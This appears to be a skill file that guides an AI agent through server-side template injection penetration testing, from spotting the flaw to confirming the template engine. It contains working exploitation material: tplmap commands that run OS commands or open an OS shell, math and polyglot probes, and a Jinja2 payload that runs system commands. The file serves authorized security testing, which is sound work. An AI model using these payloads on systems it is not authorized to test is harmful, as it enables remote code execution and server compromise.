metasploit-cursor-harness: Skill for Cursor

Server-Side Template Injection Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• Template syntax visible: {{, }}, ${, <%, #{}, *{
• Error messages naming Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB, Pug
• User-controlled input echoed in emails, PDFs, error pages, or preview features
• Arithmetic probes ({{7*7}}, ${7*7}) return 49 in response body
• Debug/template preview endpoints in dev or admin panels

Workflow

Task Progress:
- [ ] Identify injection points and map tech stack
- [ ] Test with math expression detection payloads
- [ ] Confirm engine via differential responses or error messages
- [ ] Escalate with engine-specific RCE/file-read payloads
- [ ] Document with request/response evidence and command output proof

Detection

Universal math probes

CLI (primary for web vulns):

tplmap -u "http://<target>/page?name=test" --level 1
curl -s "http://<target>/page?name={{7*7}}"
curl -s "http://<target>/page?name=\${7*7}"

Probes: {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, @(7*7)

MSF MCP: No direct module. Use msf_search_modules(query="template injection") or msf_search_modules(query="ssti").

Engine identification

CLI (primary):

tplmap -u "http://<target>/page?name=test" --level 2

Probe	Result	Engine
{{7*'7'}} = 7777777	Jinja2
{{7*'7'}} = 49	Twig
${7*7} = 49	Freemarker/Velocity/Mako
<%= 7*7 %> = 49	ERB
#{7*7} = 49	Thymeleaf

Polyglot: ${{<%[%'"}}%\.

MSF MCP: No direct module.

Exploitation by engine

Jinja2 (Python)

CLI (primary):

tplmap -u "http://<target>/page?name=test" --engine jinja2 --os-cmd "id"
tplmap -u "http://<target>/page?name=test" --engine jinja2 --os-shell

Payload: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}